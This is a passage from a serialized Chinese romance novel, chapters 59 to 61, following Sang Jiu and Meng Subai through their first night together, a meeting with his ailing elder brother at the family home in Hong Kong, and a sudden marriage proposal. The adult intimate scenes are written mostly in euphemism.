桑酒两臂交缠着搂住他,脑袋埋入他怀里,用力吸着他身上的气息,仿佛这些气息从细胞孔钻入肌肤,进入血液骨髓,也一样可以填满内心深处的缺憾。 “为什么不告诉我?”孟苏白克制的吻一路往下,终于问出那句话。 桑酒闭着眼,声音也跟着沙哑了。 “有什么好说的……反正……” 反正他已经接受了她是别人的女朋友,还要介意这些吗? 但孟苏白却像突然开窍了一般,他埋头深吻,在她的声音尽数消弭在微乱的气息时,才抬起漾着水雾的眸,哑声问她:“那他到过这儿吗?” 他问得强势又猝不及防。 “有像我这样咬过吗?” 桑酒不受控地叫了一声,想骂人,脑子又迷迷糊糊的。 “你说不提他的……” “回答我。” 桑酒不吭声,抿着唇偏头看向一边。 迷离的目光已经回答了一切。 孟苏白心知肚明,心情愉悦到比刚才血气在体内流窜时冲破天际的感觉还要美妙。 他又往上吻住她的脖颈。 “那这儿呢?他来过吗?” 不再是询问,更像是一种炫耀,如孔雀开屏,他的吻遍布每一处。 很好,没有一处被别人踏足过。 他那些恶劣的变态的通通得到满足。 桑酒觉得简直没眼看,她此刻在他眼里就是透明的,只要他问一句,你们是真的男女朋友吗?她立马会缴械投降,坦白得一清二楚。 可孟苏白只是伏在她耳边低笑,笑声有些形。骸。放。浪。 “BB,你们谈的是柏拉图恋爱吗?” 刚刚有多悸动,现在就有多想打人,她抬起腿要踢过去:“混蛋!” 却被他一手握住,吻在唇边:“BB,踢坏了以后用什么?我可不想跟你谈什么柏拉图。” 他实在坏极,得了便宜还卖乖。 “……” 桑酒脑子发晕了,完全听不懂他的话。 只知道他将自己抱起,往浴室走去。 “BB,先去泡个澡好不好?” 孟苏白总觉得自己没发挥好。 太潦草。 “晚点……BB,晚点我们再一起探索一下。” “什么叫真正的恋爱。”—— 作者有话说:Kings:第一次,大家多担待一些~- 抱歉,我迟到了宝子们!祝大家新年快乐呀~[烟花][烟花] 第59章 浴室里, 淅沥沥水声停止。 桑酒整个人沉在水里,想让自己平静下来。 可无法抑制的心跳加速,让她几乎要在水里晕过去, 憋着最后一口气, 才猛然从水里抬起头。 雾气弥漫间, 桑酒的目光, 越过淋浴间的玻璃门, 落在花洒下。 十分钟前,就是在这儿。 那双在她身体游走的大手,依旧历历在目。 长这么大以来, 还是第一次由别人帮自己洗澡, 桑酒有种说不出的羞耻感,却又甘之如饴, 心底仿佛浸出蜜来。 孟苏白将她洗得很彻底仔细, 像是在冲洗摩挲一朵玫瑰,拨开每一片花瓣,指腹轻揉着最深处。 他玉骨般修长的指,仿佛天生有一种魔力, 像拨弄琴弦似的, 能令她的肌肤为之颤抖轻舞。 明明只是再正常不过的擦拭,可他停留的每一秒,总想让人沉沦, 一直, 永远, 臣服在他的温柔之下。 若不是顾忌着她刚刚才被开荤,桑酒很确定,自己别想直着走出淋浴间。 “泱泱。” 待她泡得肌肤泛红、细腻光滑时, 浴室外面传来孟苏白的声音。 他刚下去拿东西了,给她放好泡澡水,就一身湿透着走了出去。 “我进来了。”玻璃门被推开之前,孟苏白绅士地敲了敲门。 桑酒转首抬眸望去,便见他踱步进来。 大概是在其他房间洗了澡,孟苏白换上黑色真丝睡衣,长款套装,穿在身上配上那张矜贵的脸,真是斯文又败类,让人春心荡漾。 “泡久了容易头晕。”他朝她张开浴巾,侧身等着她出来。 桑酒一开始还有些不好意思。 但听他挑着眉浅笑:“泱泱还有哪儿是我没见过的?” 她咬着唇,不再忸怩。 孟苏白用浴巾将她身子擦干,目光扫过那些触目惊心的吻痕时,也是一脸的平静无波,仿佛干那混蛋之事的人不是他。 他给她穿上同款黑色吊带睡衣,堪堪及膝,只能当私服,再套上一件纯白色衬衫当外套,然后抱着她去了客厅的窗台。 落地窗前铺了一张超大的白色羊绒毯,小茶几上摆了香薰蜡烛、红酒和一些热食,还有维港那束玫瑰,正鲜艳绽放着。 孟苏白将她放下,又挨着落座,面朝深邃大海。 她盘着腿倚着他的肩,他长腿伸直,曲起一条膝盖,为她斟酒。 “要喝点酒吗?” “好。”事后喝点平复心绪,自然是再好不过了,桑酒接过高酒杯,抿了一口。 唇角沾了些酒渍,孟苏白凑过来吻干净。 在她怔愣之际,贴着她的眉心问:“喝完酒会说真话吗?” “什么?”桑酒微微仰头,一脸懵懂。 孟苏白低头衔着她的唇,细密吻了一会儿,贴着她的唇问。 “这是第几次接吻?” 桑酒咽了咽口水,唇瓣微撅着,不由自主向他的呼吸贴去,说不出话来。 真要仔细数一数的话,十根手指头还是数得出来的。 孟苏白又问:“你们真的是男女朋友?” “……当然。”虽然有点小心虚,但话理直气壮就出了口。 桑酒告诉自己,要时刻谨记三禾那三字箴言。 孟苏白显然不信,轻笑一声:“你男朋友每天生活在灯红酒绿之中,会跟你谈柏拉图恋爱?泱泱是觉得,我很好骗么?” 桑酒抿唇,一脸坚定说道:“我比较保守,坚持拒绝婚前性行为,而且我……我不喜欢小孩。” “那接吻呢?”孟苏白吻她耳后,“BB,你看起来生疏得不像话。” 桑酒酥痒着远离他的气息:“那是因为……我不喜欢跟他接吻,他抽烟嘴臭!我跟你说,你以后要是也抽烟,我跟你也只谈柏拉图!” 她故作凶狠。 孟苏白却只是轻挑眉:“我不抽烟。” 桑酒轻哼一声:“那天你在会所不是抽得挺好吗?还有今天……你也抽了。” 孟苏白捻着她发烫的耳垂,低笑:“BB,不抽烟不代表不会抽烟,我只是没有瘾,抽烟也是一种社交礼仪。” 桑酒疑惑地将他上下打量了一番,半信半疑:“你自制力这么好?” 她亲眼见证了李佑泽从抽一根玩玩装逼到烟不离手,就连三禾也被那群男人二手烟熏得受不了,学会自己抽了。 而且听说,戒烟比戒牌还难。 孟苏白似笑非笑看她:“嗯,其他事自制力还不错,唯独面对BB,不太好。” 桑酒耳根发烫,假装听不明白,低头去叉一块牛排。 说实话,折腾那么久了,她真的有点饿了。 腮帮子鼓鼓时,孟苏白就单手撑着下巴盯着她看,又将话题拉了回来。 “不是拒绝婚前性行为么?那刚刚算什么?” 算你魅力大,算你最会勾引人! 桑酒迅速嚼了嚼,咽下,对他露出一个无敌乖巧的笑:“是人都会改变的嘛,你不也在遇到我之前,坚持单身主义么?” 话倒是有理有据。 孟苏白却依旧是一个字不信。 “桑酒,你知不知道,你曾说过最讨厌撒谎的人,如今自己倒成了最会撒谎的那个小骗子。” 面对孟苏白的控诉,桑酒迟疑了一下:“我确实……对你有所隐瞒,但你放心,我很快就可以给你交代的,我保证!” 她竖起手指就要发誓。 孟苏白无奈握住她手指放下来,心知肚明她不过是玩什么把戏,却也心甘情愿陪她继续玩下去。 “十二天?” 桑酒算了下日子,勉强点头。 话不能说太满,万一……家里人闹起什么情绪来,也要时间逐个击破的,她做事情向来谨慎有原则,不想给了孟苏白承诺又变卦。 更何况之前跟李佑泽假复合时两人就谈好了,为了两家人和他的面子,她不能透露两人关系,无论何时,这段关系都是真的。 只要等两人宣布和平分手,那是不是真正的男女朋友都不重要了吧? 她低头打着小算盘时,孟苏白就在一旁抿着酒,近距离看着她眼珠子转溜一圈,又不知道是什么鬼点子生成,只觉十分可爱。 吃饱喝足,放下酒杯,桑酒转身,便被他注视的目光定住。 那样漫不经心,游走在她身上,深沉又宠溺。 目光相交时,莫名有种幸福悄然升起。 他们变了,不再是自己,而是专属于对方的存在。 彼此唯一。 白色窗帘被海风吹起,孟苏白手中酒杯也已然见了底,他轻放在茶几上,拍了拍自己大腿,招她过来。 桑酒只迟疑了一会会,挪了挪屁股,坐到他腿上,一时分辨不清他是不是醉了。 她不知道他的酒量,但总应该不会太差,可落在她颈间的热吻与之前有所不同,轻柔绵软的,更加噬骨磨人。 桑酒偏过脑袋,露出修长的天鹅颈,缓缓闭上眼。 “还疼吗?” 他吻着那些斑驳痕迹,问的却是别处。 桑酒低低唔着,不说疼,也不说不疼。 总归还是有些不适的,但好像又没有那么不适,只觉得……还差点什么。 她不敢说出口。 孟苏白的吻比微风拂面更轻柔,长指一探,熟练团住,吻也摸索着落下,仿佛早已练出了一套规律的流程。 他只喝了红酒,似乎是时候来一些甜点。 玫瑰香甜的糯米圆子就很不错。 Q弹饱。满。 桑酒被他吻着跪坐起,手撑在他的肩上支着。 衬衫被拂落,肩带被勾下。 那些堪堪褪了些许颜色的斑驳又被吮出更深的印记,冷白如凝雪的肌肤,在月色里更加动人,沁着潮湿汗意- 今晚注定是个不眠夜。 尤其是看到他不知从何处掏出一盒六只装的时,桑酒顿时瞪大了眼。 “你……你哪儿来的?” “车上拿的,”孟苏白吻着她轻笑:“你也知道,Carson是有名的花花公子,他车上什么都可能缺,唯独这个不会。” 桑酒:“……” “刚刚忘了准备,所以,没敢太久。” “抱歉,没有让BB尽兴。” 孟苏白贴着她的耳后解释,咬开塑料包装,交到她手里,要她亲自戴上。 桑酒猛地摇头。 她根本不会! 孟苏白便手把手耐心教她。 她是个笨拙的学生,圆润的指尖偶尔弄疼他,他也是低声吸着气。 “BB,小心点,划破了,我们可能就要有一个小bb。” 桑酒一惊,连忙要换一个。 她才不要意外! 孟苏白捉住她手腕,轻笑:“吓你的,别浪费,我就只拿了一盒,扔一个少一个。” 桑酒低头看着被他撒了一地的,欲哭无泪。 他不会是要今晚一次性用完吧? 柔软的白色羊绒毯被拽成一团,他将她抱到落地窗前,告诉她面朝大海应该是这样。 桑酒完全站不住,腿软着靠向他,落坐在他潮湿的掌心,被他高高举起时,她精心护理的美甲几乎要折断在玻璃前。 这间卧室足够大,孟苏白充分利用了每一个场地。 明明得知她是第一次后,他对她更温柔了,前戏做得十足,吻到她整个人几乎要融化才罢休,可这种温柔又是极为双标的。 她的求饶声他听不见。 更加不会停。 只会在偶尔幼稚时,咬着她的耳朵追问:“泱泱现在还觉得,快么?” 桑酒十分有理由怀疑,他在报复她,因为他十五天等待很漫长。 他也要折磨她一个极为漫长的夜。 桑酒后悔第一次嘲笑他时间太短。 当自己筋疲力尽像失了水濒临断气的鱼儿翻着白肚皮瘫在床上时,眼前男人只是脸颊和发梢滴着汗水,正目不转睛盯着她旖旎变化的神色,看她眼色迷离唇嘴微张,看她气息娇。喘眉心微蹙,看她手指将床单扯成一团,极致是也会划破他后背肌肤…… 当然,他也依旧是那个体贴入微的孟苏白。 中途好几次给她喂了温水。 她喝得急被呛到时,他会抚着她的后背轻拍:“小心点。” 她喷了许多。 他要她一滴不漏饮下。 那天,桑酒确实看到了海岛缓缓升起的日出,也听到了从远方传回来的海鸥声。 昏睡过去的最后一个念头——今天的航班还能赶上不?- 再度醒来已是中午,卧室里只有她。 厚重的遮光帘将房间捂得严严实实,乍一看还以为在夜晚。 桑酒揉着腰试图坐起,嘶的一声,脸色顿时一阵发白。 好痛…… 是那种骨头被拆了重组的酥。软酸痛,她几乎要站立不起来。 床头柜上放了一杯水,摸着还有些温度,正正合适。 她勉强爬起来端起喝了一口,润了下自觉嘶哑到不行的喉咙。 昨晚那件睡裙早就不知道被扔到哪儿去了,最后一次从浴室冲完凉出来,孟苏白随手用他的衬衫把她包裹着出来。 好奇怪,这房间怎么有这么多他的衣服? 桑酒整理了下领口大开的衬衫,足尖慢慢抵地,直到适应了那种酸涩虚软,趿拉上毛鞋,往门口走去。 门虚掩着并未关上,她手刚搭在门柄上,便听到外面响起一道压低陌生的男人声音。 “既然回来了,早上怎么不过来一起用餐?” “打算早上走,就没惊动阿爷了。” “打算?又为何没走?” 孟苏白的声音很好辨认,即便两人讲的粤语,桑酒听不太懂,心里也跟着一紧,直觉另一人是他的长辈之类的身份,当即被吓得退回了床上。 被窝蒙住脑袋紧闭双眼时,她仿佛听到孟苏白似有若无的低笑声。 桑酒无意偷听对话,只是门微微开着,谈话就这样时不时飘入耳,半知半解的。 她脑子忽然清醒过来,好奇这到底是哪儿,又爬起来,四处摸索手机。 “因为房间里的姑娘?” 卧室相邻的客厅,凌乱的痕迹早已被整理得恢复如初,昨晚那些放纵沉沦亦恍如梦寐,但孟苏白心知肚明,自家大哥的路过并非偶然,也许是早上佣人们兴师动众的声响,惊动了那边。 他眼里未有一丝慌乱,反而笑得从容、宠溺。 孟彦廷又问:“是你一直在等的人?” 孟苏白终于诧异了:“阿溦告诉你的?” 前年,孟翎溦突然去肯尼亚找他,在他房间的办公桌上看到一张照片,那是浮屿号上红酒晚宴上,其他客人无意中抓拍的——身着黄色礼服的姑娘,笑容温柔明艳望向舞池,眼底却是令人心疼的悲伤。 从前孟苏白看不明白,只以为桑酒是因为前男友而悲伤,如今想来,大概是因为那晚两人即将离别的缘故。 也不知道贺煜怎么得到的,第一时间转发给他。 孟苏白打印出来,放在办公桌上,用相框框着,至今那张照片还在樾华璟。 刚好那次他喝了点酒,面对小妹的胡搅蛮缠盘问,便交了底,虽然他让Vicoria不要去跟任何人说,但也从没有打算隐瞒过自己心里有中意的人这件事。 孟彦廷却摇头:“Vicoria没有跟我说一个字,只是Kings,你这两年太反常了,作为过来人,我怎会看不出自己弟弟心里有喜欢的姑娘。” 孟苏白不由勾唇一笑,他没有想到藏不住事情的竟是自己。 “不带去见见阿爷?” “她害羞,等下次。” 至少今天不适合,她估计都不想出门见人。 孟彦廷摇头:“还想着留你中午一起用餐,正好有个好消息要告诉你。” 孟苏白看了眼腕表时间,心里想着,睡了这么久,她该醒了,嘴里说着:“既然是好消息,大哥不如现在说?” 孟彦廷顿了顿:“阿盈有孕了。” 孟苏白一愣,眼底不掩欣喜:“真的?” 孟彦廷身体不好,作为孟家长子兼继承人,结婚四年,夫妻俩一直在备孕,为此,老爷子也操碎了心。 “告诉阿爷了吗?他应该很开心。” “准备中午宣布喜讯的,不过阿爷心里必定早有数,昨日我们没有去参加婚礼,就是因为阿盈不舒服,有三个月了。” “真好。”孟苏白由衷为他感到高兴,“恭喜你,我该想想,要给未来侄子侄女准备什么礼物。” 孟彦廷笑:“真想准备礼物,不如先介绍未来弟妹我看一眼?” 孟苏白迟疑了一秒:“等她醒了,我问问。” 孟彦廷却意味深长看了他一眼:“Kings,你当真不后悔吗?四年前,如果不是你逃婚,阿盈和你早就……” “大哥,”孟苏白果断截了他的话,不冷不热地说,“我的决心从未变过,以前如此,现在如此,未来也如此。” 孟彦廷沉默片刻,跟他道歉,承认自己失言了。 孟苏白起身,朝卧室走去:“大哥,您先去楼下坐坐,我去看看她。” 两人并未受刚才小插曲的影响,孟彦廷含笑下了楼。 孟苏白推开卧室门进去。 被窝里,桑酒刚好摸到手机充好电,没有听到孟苏白进来的声音,只是看着手机里跳出来的定位,整个人都懵了。 ——港城深水湾道88号。 好家伙! 这是干他孟氏家族的老窝来了?—— 作者有话说:心机男Kings! 第60章 孟苏白轻柔地掀开被窝时, 便见到一个浑身湿漉漉,冒着热气的人儿。 小姑娘蜷着身子抱着手机,也不知道躲在被窝多久, 正盯着手机眼睛瞪得浑圆, 像极了Princess受到惊恐时, 露出一对忽闪忽闪的蓝宝石大眼眸, 星光熠熠十分迷人。 桑酒猝不及防被抓包, 还未等孟苏白开口,噌地一下坐起,裹着白色被褥质问他:“孟苏白!你老实说, 这是哪儿……” 可话刚说完, 她便痛得倒抽一口气,只觉那儿被撕扯得仿佛再次承受了一次他, 桑酒一张脸痛苦地埋进被褥, 直到那阵痛意缓缓消散。 她忘了,自己现在接近二级残废…… 可恶的是,始作俑者只是笑了一声,将她捞入怀:“我家。” 他倒是衣冠整齐、如沐春风, 苦了她一身伤不说, 浑身软绵绵无力,仿佛被人吸干了阳气。 桑酒气极,抬头咬在他脖子上:“你好歹也是堂堂一总裁, 怎么尽干些坑蒙拐骗良家少女的事!” 孟苏白被她咬着也不动, 反而让出更修长的脖颈给她, 一脸享受的模样。 桑酒收了爪牙,看着那又一排牙印,有些理亏:“你怎么都不躲呀……” 孟苏白单膝跪在床沿, 弯腰将她拥着,意有所指地说:“比起你昨晚的痛,这点疼算什么,我甘之如饴。” 桑酒整个人瞬间熟了,原本就闷得粉红的脸,此刻全身肌肤都红透了,像刚刚完全绽放的猪小姐玫瑰,粉粉嫩嫩的。 孟苏白亲吻她耳朵:“还疼吗?再上点药好不好?” 早上最后一次,帮她清洗时,他自己看着都懊悔,让佣人阿姨帮忙找了消炎药送上来,睡之前给她涂过一次。 桑酒半咬着唇,抬头看他,目光幽幽,充满哀怨:“都怪你……” “怪我。”孟苏白认错十分快,轻点下巴,“下次我轻一点。” “还下一次……”桑酒脸更加红了,强撑着淡定,“你确定是第一次?” “如果不算……”他看了眼手,笑容有些轻浮,“确实是第一次。” 桑酒顿时瞪大了眼,感觉对那双手已经没法直视了—— 一想到他就用那双她痴迷至极的手,干过那些事情,她就觉得浑身血液沸腾,又超级好奇,到底是什么样的情况下,他会这样做? 面对她好奇宝宝的目光,孟苏白坦然:“从前,只是正常的生理需求,后来……” “后来?”桑酒咽了咽口水。 “后来被你带坏了。”孟苏白用那修长如玉骨般的手指,用力揉她脸颊,声音低哑,“泱泱,尤其是每次梦过你之后……” 桑酒万万没有想到,会搬起石头砸自己的脚! 她只觉得他的掌心滚烫至极,指腹抵着她下颚一处揉着,莫名带了些涩气。 “孟苏白……”她的声音几乎在颤抖,“这……这都谁教你的?贺煜?” “你说什么?” 孟苏白几乎是气极,捏着她下巴有些无语。 笑话! 他用得着贺煜教? “那是谁?”桑酒实在好奇。 孟苏白抬高她下巴,盯着她看了两眼,一脸笃定。 “你教的。” “你胡说!” “这种事,遇到你就无师自通了,”孟苏白鼻尖顶着她莹莹如玉立的鼻骨,轻嗅她的香气,“泱泱的身体,是我最好的老师。” 桑酒低唔一声,从他掌心逃过脸颊,捂着脸低下脑袋。 就不该多问他一句! 孟苏白追过来拉下她的手,一脸认真:“所以,泱泱质疑我,是因为什么?” 桑酒扭头不看他,感觉他此刻肯定又自豪上了。 果然,孟苏白笑了笑:“看来,泱泱对我的能力,很满意?” “我怎么知道,我又没对比过……” “不许和别人对比!”孟苏白凑过来亲吻她的唇,“要比,你也只能拿今晚的孟苏白,和昨晚的孟苏白对比!泱泱放心,我会让你每一天都比前一天更快乐的。” 桑酒捂住嘴后退了一步,一时分不清是被他的虎狼之词震惊到,还是被他突然的深吻吓到。 “我还没刷牙呢!” “怕什么?”孟苏白把她拉过来,干脆吻了个痛快,低语,“你什么味道我没尝过?” 桑酒顿如遭了雷击,猛地想起昨夜最后,他埋首亲吻她的画面,那还是她第一次知道,原来表达爱意的方式,如此多样,也是第一次知道,他那样矜贵的男人,也会甘愿臣服于她,虔诚、深刻,令人难忘。 “BB,难怪这么喜欢喝酒啊?” 直至她满意了,男人才嘴角挂着晶莹,凑过来哑着声问她。 那画面,桑酒一想起就觉得难以启齿,脸颊爆红。 开荤后的孟苏白,就跟变了个人似的,说话开始没轻没重,总喜欢说些诨话,逗得她面红耳赤。 桑酒气急败坏,又羞又愤喊他名字警告:“孟苏白!” 孟苏白则对她的指控不动如山,抚着她的后背:“我在。” 桑酒在他怀里撒娇哭着嗓音,他的笑声越发浑厚:“好了,不闹了,饿不饿?” 桑酒饿也不说话,显然还在气头上。 孟苏白只能解释:“昨晚带你回家,是因为我吃醋了。” “你又吃得哪门子醋?”桑酒哼了一声。 孟苏白抬起她下巴,目光委屈盯着她:“你说呢?泱泱。” 桑酒自然说不出话来。 孟苏白叹了口气,低头眉心抵着她的额:“我还是嫉妒他……泱泱,嫉妒你跟他母亲关系那样亲密,而我的母亲,永远也无法见到你。” 桑酒的心瞬间就仿佛被什么扎了一下,痛得不行。 没记错的话,孟苏白的母亲,在某一天他出门后,自杀了。 所以当年他担心离开了他的视线,她也会轻生。 桑酒将他紧紧抱住。 她不知道该说什么,只知道此时此刻的孟苏白,内心一定是忧伤的。 “这儿是我母亲生前住的小院,”孟苏白的气息埋在她颈窝,“抱歉,没有经过你的同意,就带你过来,只是觉得,好不容易来一次,见到你,她一定会很开心。” 原本他只是想他来家里小住一晚的,没想过他的姑娘会那样勇敢。 这是不是也算是,因祸得福? 母亲在天之灵,帮他达成心愿? 桑酒摇头:“不用道歉,孟苏白,我很开心,你带我来见你母亲。” 顿了顿,她又问他。 “能跟我讲讲你母亲的故事吗?我好想认识认识她,想知道究竟是多么优秀的女人,拥有我们Kings这么优秀的儿子。” “好,”孟苏白果然被她逗得心情舒畅了些,在她锁骨吻了吻,抬起头看着她的眼睛,“不过不是现在,晚点我们去海岛走走,再给你讲一讲母亲的故事,现在有重要的人想见你,你愿不愿意?” “谁?”桑酒有点紧张。 她着实还没有足够勇气,去见他那位霸气威严的爷爷。 “我大哥,”孟苏白仿佛懂她的恐惧,笑说,“他正在楼下,要不要见见,一起吃点东西?” “大哥?”桑酒这才抬起脑袋,“是刚才在跟你聊天的人么?” “嗯,你刚刚醒了?” “醒了,但是你们说的粤语,我听不太懂,就躲被窝了。” “听不懂?以前不是能听懂吗?”孟苏白诧异。 桑酒也很无语:“几年没听过,就……就归零了。” 孟苏白笑了一下,安抚她:“那从明日开始,我教你?” 桑酒正有此意,爬起来,抱着他的脖颈,低头在他脸颊吧唧亲了两大口:“那我先交点学费,孟老师。” 孟苏白挑眉:“就这点学费,只能学一句早晨。” 桑酒含笑,去亲他唇:“……那这样呢?” 孟苏白依旧是波澜不惊:“勉强能学两句greeings。” 桑酒气笑,一把推开他:“不学了,太贵了!我找别人……” 孟苏白伸手将她拉入怀,禁锢住她的腰,嗅着她发间的香气,气息有些危险:“泱泱要找谁?” “不找别人,就找我们英俊帅气的Kingsley好了吧!”桑酒下意识躲他滚烫的气息,声音求饶,“别闹了,不是说你大哥还在等着嘛……” 孟苏白便不再逗她,只是俯首吻住她娇笑的唇,跟她接了一个十分安静的吻。 她嘴里香气依旧,舌尖温柔甜蜜,乖乖软软的。 “我有点紧张。”她吞咽了下,湿漉明亮的眸子,染着雾气,带着些怯意,“会不会太快了?” 都说长兄如父,见他兄长就等于见他家长了,这与见妹妹是完全不一样的感觉。 孟苏白拇指摩挲着她的脸庞,语气温柔:“兄长长我十岁,我们同父异母,但他性情温柔人很好,只是自小身体不好,甚少外出露面,如果你能见他,他会很开心。” “……好吧。”他这样说,桑酒便只好应下。 “泱泱,不用紧张,就当寻常亲朋好友的会面。” “嗯。” 桑酒没想过,会这么快就见了他家长。 他们的关系发展得如此迅速,无论是相爱还是离别,见家长都是分分钟定板的事,唯独重逢用了最为漫长的时间。 只希望从此以后,相爱的时间能长一点,更长一点。 如Vicoria写给她的那句话那样。 愿历尽千帆,得偿所愿- 从楼上收拾下来,又费了不少时间。 桑酒直觉不太礼貌,可她要收拾的地方太多了! 脖子以下扑了厚厚一层粉,也挡不住那深红的斑驳印记,港城这种天气,根本穿不上高领毛衣,只能系一条丝巾,却又有种欲盖弥彰的感觉。 真是……此地无银,三百两! 千鸟格丝巾搭配米色抹胸包臀连衣裙,外搭一件同色系西装风衣,她身材高挑,这身装扮也尽显温婉知性,有一种金色玫瑰的感觉,看得靠在衣橱等人的孟苏白目光痴迷,又压在试衣镜上吻了好一会儿才放开她。 “我的泱泱,好美。” 桑酒虽然也爱极了他为自己痴迷的模样,但还是为他吃掉她的口红而炸毛。 但下一秒,也不知孟苏白怎么弄的,像变魔术一般,在她脖颈系上一条珍珠项链,珠圆玉润,带着他掌心的温度流落在她锁骨。 桑酒惊了惊,指腹摸了上去:“这是……” 孟苏白从身后搂着她的腰:“第一次送你礼物,不知道该选什么,昨天看你一身白色西装,忽然就想送你珍珠项链。” 他想告诉桑酒,她是他的独一无二,掌上明珠。 可抬头看了眼镜子里的明珠,不禁轻笑一声。 “Vicoria帮忙选的,怎么看不出有什么特别?会不会太小了的缘故?” “怎么可能?”桑酒摸着项链,之前跟着Chris参加晚宴,也研究过一些珠宝,自然一眼看出,“这么大一颗澳白,已经是顶级了。” 她脖子上这一大串,都够换海城市中心半套房了。 “是吗?”孟苏白挑眉,目光疑惑。 桑酒愣住:“你看不见吗?” 好可惜,年纪轻轻就…… 她想调侃他。 孟苏白目光却一转,目光锁在她的唇上。 她本就唇色娇艳,尤其被狠狠吻过后,犹如雨后沁着露珠的玫瑰花瓣,让人爱不释口。 “看不见,”他低头吻了吻,老实说:“只看得见这儿。” 想亲。 桑酒:“……” 又是一番吮吸过后,孟苏白小心翼翼用指腹帮她抹淡残余的口红,终于一本正经下来:“见大哥,不必如此隆重,他会更喜欢你的纯真本善。” 桑酒撅一撅唇,总觉得他在哄她。 但直到真正见到孟彦廷本人,她才知,孟苏白说的不是假话。 桑酒见识过孟老爷子不怒自威的庄严,也见过孟苏白训人时的雷霆手段,总觉得如他们这般无人可及的豪门人物,多少是有点凌厉在身上的,那种仿佛天生自带的上位者气势,无需刻意表现,便能让人望而生畏。 桑月说过,孟苏白平日来酒馆,如果碰上她不在,便会独自一人坐在窗边座位静静候着她,周身散发的冷冽气息,仿佛自动将他屏蔽在一个空间里,无人敢靠近。 偶尔有女士想上前搭讪,都会被他一个目光扫过来,而自惭形秽悻悻离开。 可桑月又说,那次烧烤聚餐,孟苏白一整天目光都黏在她身上,看起来温柔至极,判若两人。 桑酒自然明白妹妹在说什么。 孟苏白的温柔,从来只为她一人。 就像再强大的神,在爱人面前,也是世间最温柔的男人。 桑酒第一次见孟彦廷,孟苏白的大哥,孟家名正言顺的第一继承人。 第一眼,她也觉得他很温柔,只是这种温柔与孟苏白截然不同。 男人半靠在宽大的黑色皮质沙发里,落地窗外是修剪得一丝不苟的庭院,绿意被厚重的玻璃滤去了鲜亮,只余一片沉沉的碧色,映得他侧影有些模糊。他目光温和地望向并肩走进来的两人,脸上带着一种早已准备好的、得体的笑意。 他的五官并不如孟苏白那般深邃立体,许是常年静养、极少运动的缘故,脸庞线条显得圆润柔和,肌肤是常年不见强光的白皙,但那种白并非健康的润泽,从底子里渗出来一种无法掩饰的病态孱弱。 细看之下,才能在眉眼间发现与孟苏白一两分的相似。 这就是孟苏白刚刚在楼上说的,那位患有血友病的大哥? 短暂的时间,不足以让桑酒去了解血友病是什么,只是与孟彦廷目光相视的一瞬,她忽然就想起了王立军。 那年,王立军确诊肝癌后,她回家过年抽空去探望了一次,年轻男人躺在惨白的病床上,眼里是一片沉冷的死寂,像是对生命仍有贪恋,却被剧痛与绝望反复碾压后,最终不得不认命的枯槁。 但眼前的男人显然不同,他的眼底泛着乐观的笑容,与她温柔打招呼,说着。 “桑桑。” “云叔说,我可以这样叫你。” 那声调里有一种天然的亲近与征询,巧妙地化解了初次见面的生疏。 桑酒下意识地点了点头,跟着孟苏白唤了一声大哥。 孟彦廷也没有久坐,只问了一些两人今天的计划与归程,谈笑间说了一些孟苏白年少求学时的事情。 桑酒听得认真,渐渐的,那种猝不及防见家长的紧张与拘束也缓解了,她本就健谈,不自觉就与孟彦廷聊起了事业,聊起了酒馆,三人相谈甚欢。 孟彦廷听着甚觉有趣,许诺下次去海城,一定去她酒馆坐坐。 桑酒想起昨日Vicoria也是这样说,不禁笑了。 想一想孟家三兄妹一起光临的画面,一个港圈最靓女星、一个孟家继承人、一个集团总裁,她的小酒馆大概能名垂青史。 不一会儿,孟彦廷的贴身管家送来了一个檀香木盒,他亲手交给桑酒。 “初次见面,我也没准备什么礼物,这是大哥的一份心意,希望你和Kings,幸福圆满。” 这祝福太过沉重,桑酒无法拒绝,在孟苏白的点头示意下收下了。 那是一只天然满绿翡翠手镯,一看就价值不菲,桑酒抱在怀里都要身心颤抖,更遑论要将这么名贵的东西戴在手上。 她受宠若惊,觉得太贵重了,想还回去。 孟苏白却没她给机会。 两人用过午餐后,桑酒便被拉着往海边小岛走去,孟苏白说是要带她玩皮划艇,一边走,一边开解。 “这是大哥送你的见面礼,说明他对你的认可,你若还回去,是想说看不上我,还是看不上我们家?” 悬崖边的海景甚是好看,河道曲折,石径曲幽,两人穿越灌木丛和盛开的花园,终于来到沙滩上,海岸边停泊着一艘皮划艇。 桑酒还在纠结中。 “可是……我们才……才刚确立关系,会不会太快了?” 又是珍珠项链,又是翡翠手镯,桑酒这礼物收得着实有点心虚。 她什么准备都没有做好。 跟他谈恋爱,还是奔着迟早要分手的心态。 目的不纯的人,越是在这样正式的时刻,越觉得忐忑不安。 孟苏白停住脚步,转身看她:“快么?” “还不够快?”桑酒竖起手指,“我们在一起才一二三……四天。” 满打满算四天。 见家人已经是光速发展了。 “可我等了你四年。” 港城的秋日温暖和煦,海面波光灵灵,闪闪耀眼。 孟苏白折身将她搂入怀,语气沉稳:“如果你愿意,我们今日就可以去登记。” 桑酒不禁心跳加速:“登记什么?” “结婚。” 孟苏白平静干脆地说—— 作者有话说:Kings:总有种不祥的预感,也许今天就该与她领证结婚,把她绑在自己身边。《 》 60-70 第61章 “什么?你们昨晚做了?” 俞三禾的嗓音, 几乎要穿透整条美食街,得亏桑酒及时捂住她嘴,一脸惊恐。 “大姐, 这是熟人区!不是无人区!” 楼下来来往往的都是熟悉的客人, 被听到不得丢死人。 露台风大, 也不知道将两人的对话带到了哪儿。 俞三禾却恍若未闻, 还在凌乱中:“你说他还跟你求婚了?” 桑酒抿了口酒, 仔细想了想:“也不算吧,就……提了一句。” “怎么提的?” 俞三禾实在想不通,那位孟先生看起来清心寡欲的, 这一恋爱就想结婚是什么怪癖? “你又怎么回他的?” 静默了一瞬, 桑酒脑袋垂下,有点沮丧。 “我好像……把他拒绝了?” “什么叫好像?”俞三禾简直越来越激动了, 咬着串儿, 等她下文。 桑酒回忆中午,孟苏白说出“结婚”二字后,她当场如遭雷劈愣了好半晌,嘻嘻哈哈评价了一句:“孟苏白, 你真会开玩笑。” 孟苏白却神色认真:“如果我说, 我不是开玩笑呢?” 她怔楞的瞬间,他又问:“若我刚才求婚,泱泱会答应吗?” 桑酒实在怕了, 她哆哆嗦嗦看着水里的皮划艇, 假装没听到他的问话, 不顾打湿鞋子,跑了过去,一脸惊讶。 “这就是皮划艇吗?我还没玩过呢?好玩吗?我们是要漂到海上去吗?” 对于她的装聋作哑, 孟苏白也只能无奈一笑,配合的扶她上了皮划艇,只是全程目光都是幽幽的。 